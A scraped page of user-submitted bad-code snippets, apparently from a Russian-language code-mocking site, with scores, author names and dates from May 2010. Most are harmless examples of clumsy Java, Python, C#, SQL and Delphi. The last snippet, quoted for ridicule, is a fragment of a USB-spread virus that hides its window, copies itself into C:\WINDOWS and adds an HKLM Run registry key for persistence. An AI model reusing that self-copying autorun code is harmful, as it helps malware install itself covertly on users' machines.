-
+144
- 1
- 2
- 3
- 4
- 5
if (digitsStr.length() < 7) {
return "+" + digitsStr.substring(0, 1) + "-" + digitsStr.substring(1, 2) + "-" + digitsStr.substring(2);
} else {
return "+" + digitsStr.substring(0, 3) + "-" + digitsStr.substring(3, 6) + "-" + digitsStr.substring(6);
}
свежий кал коллеги
Lure Of Chaos,
27 Мая 2010
-
−115
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
import xml.parsers.expat
text = 'lol'
booltext = 'false'
subs_temp = open('subs_temp.txt','w')
def start_element(name, attrs):
if (name == 'rectRegion' and attrs['h']=='7.222' and attrs['y']=='92.778'):
subs_temp.write(attrs['t'] + '\n')
global text
subs_temp.write(text + '\n')
elif (name == 'TEXT'):
global booltext
booltext = 'true'
#subs.write(name+'\n')
#print(attrs)
def char_data(data):
global text
global booltext
if (booltext == 'true'):
text = data
booltext = 'false'
p = xml.parsers.expat.ParserCreate("UTF-8")
p.StartElementHandler = start_element
p.CharacterDataHandler = char_data
p.ParseFile(open("yt.xml", 'rb'))
subs_temp.close()
subs_temp = open('subs_temp.txt','r')
subs = open('subs.txt','w')
num = 1
while num <= 44:
time1 = subs_temp.readline()
text = subs_temp.readline()
time2 = subs_temp.readline()
text = subs_temp.readline()
subs.write(str(num))
subs.write('\n0')
subs.write(time1[:-1])
subs.write('00 --> ')
subs.write(time2[:-1])
subs.write('00\n')
subs.write(text)
subs.write('\n')
num+=1
Нус, зацените мой первый опыт с питоном. Говнецо редкое, жаль просто так смывать. Так что пусть полежит здесь.
dageru,
27 Мая 2010
-
+124
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
char arr[] = ... // Здесь происходит чтение массива, неважно как
string result = "";
for(int i = 0; i < arr.Length; i++)
{
result += Char.ToString(arr[i]);
}
Console.WriteLine(result);
Что интересно, автор уже пол года на C# пишет, до этого 2 года на Java. Решение ко всему прочему еще и очевидно с квадратичной сложностью. А должно быть, естественно Console.WriteLine(new String(array));
theos,
27 Мая 2010
-
+94
private static String PUBLIC = "public";
private static boolean isPublic( String addressingType ) {
return "public".equals( addressingType ) || addressingType == null;
}
raorn,
27 Мая 2010
-
+75
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
public void logoutSession(String sessionId)
throws SerializableException
{
if (sessionId==null) {
throw new SerializableException("Invalid RPC arguments: sessionId is missing");
}
SessionInfo session = (SessionInfo)sessions.get(sessionId);
if (session!=null) {
sessions.remove(sessionId);
SessionInfo old = (SessionInfo)sessions.get(sessionId);
}
}
raorn,
27 Мая 2010
-
+131
- 1
- 2
- 3
- 4
- 5
- 6
object FirstElement = null;
foreach(var item in SomeCollection)
{
FirstElement = item;
break;
}
Ось так от береться перший елемент з колекції :)
O_O,
26 Мая 2010
-
−854
- 1
- 2
- 3
- 4
- 5
- 6
- 7
Select *
From Table1
Where (
(id = 2000)
or
id = ( Select max(id) from Table1 )
)
а я дивувався, чому цей код в табличці > 300 000 записів виконується так довго ...
O_O,
26 Мая 2010
-
+86
- 1
- 2
- 3
- 4
- 5
procedure Click(H: hWnd);
begin
SendMessage(H, wm_LButtonDown, 0, 0);
SendMessage(H, wm_LButtonUp, 0, 0);
end;
Как я круто по-хакерски сэмулировал нажатие на кнопку или на радиобаттон.
TarasB,
26 Мая 2010
-
+107
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
var
OGTC: cardinal; // для сверки с таймером
procedure CheckPhys;
begin
if OGTC < GetTickCount then begin
Phys; // тут считается вся игровая физика и все изменения состояний. Звуки тоже здесь.
Inc(OGTC, dT);
end;
end;
procedure Graph; // процедура отрисовки графики
var
i: integer;
begin
CheckPhys;
for i := 0 to ItemCount - 1 do with Items[i]^ do CopyPosition := Position; // делаем копию состояния перед отрисовкой мира!
for i := 0 to ItemCount - 1 do begin
ShowItem(Items[i]^); // рисуем элемент мира
CheckPhys; // проверяем, не пора ли снова считать физику
end;
end;
procedure OnIdle;
begin
if PlayingGame then Graph;
end;
Надо, чтобы в игре скорость игрового процесса не зависела от тормозов графики. Даже когда кадр долго рисуется, звуки и движения делаются строго по таймеру. Создавать лишний поток мне в лом, и вообще я дико боюсь приколов с синхронизациями и так далее. Поэтому сделал такую хрень. Сэмулировал многопоточность банальным однопоточным кодом.
TarasB,
26 Мая 2010
-
+168
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
void __fastcall TForm1::FormCreate(TObject *Sender)
{
Application->ShowMainForm=false; //прячимся
// Осваеваемся в новой системе
if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
//скопируемся
CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
//и пропишимся в автозагрузку:
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
reg->CloseKey();
reg->Free();
}
ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html
This is obvious,
26 Мая 2010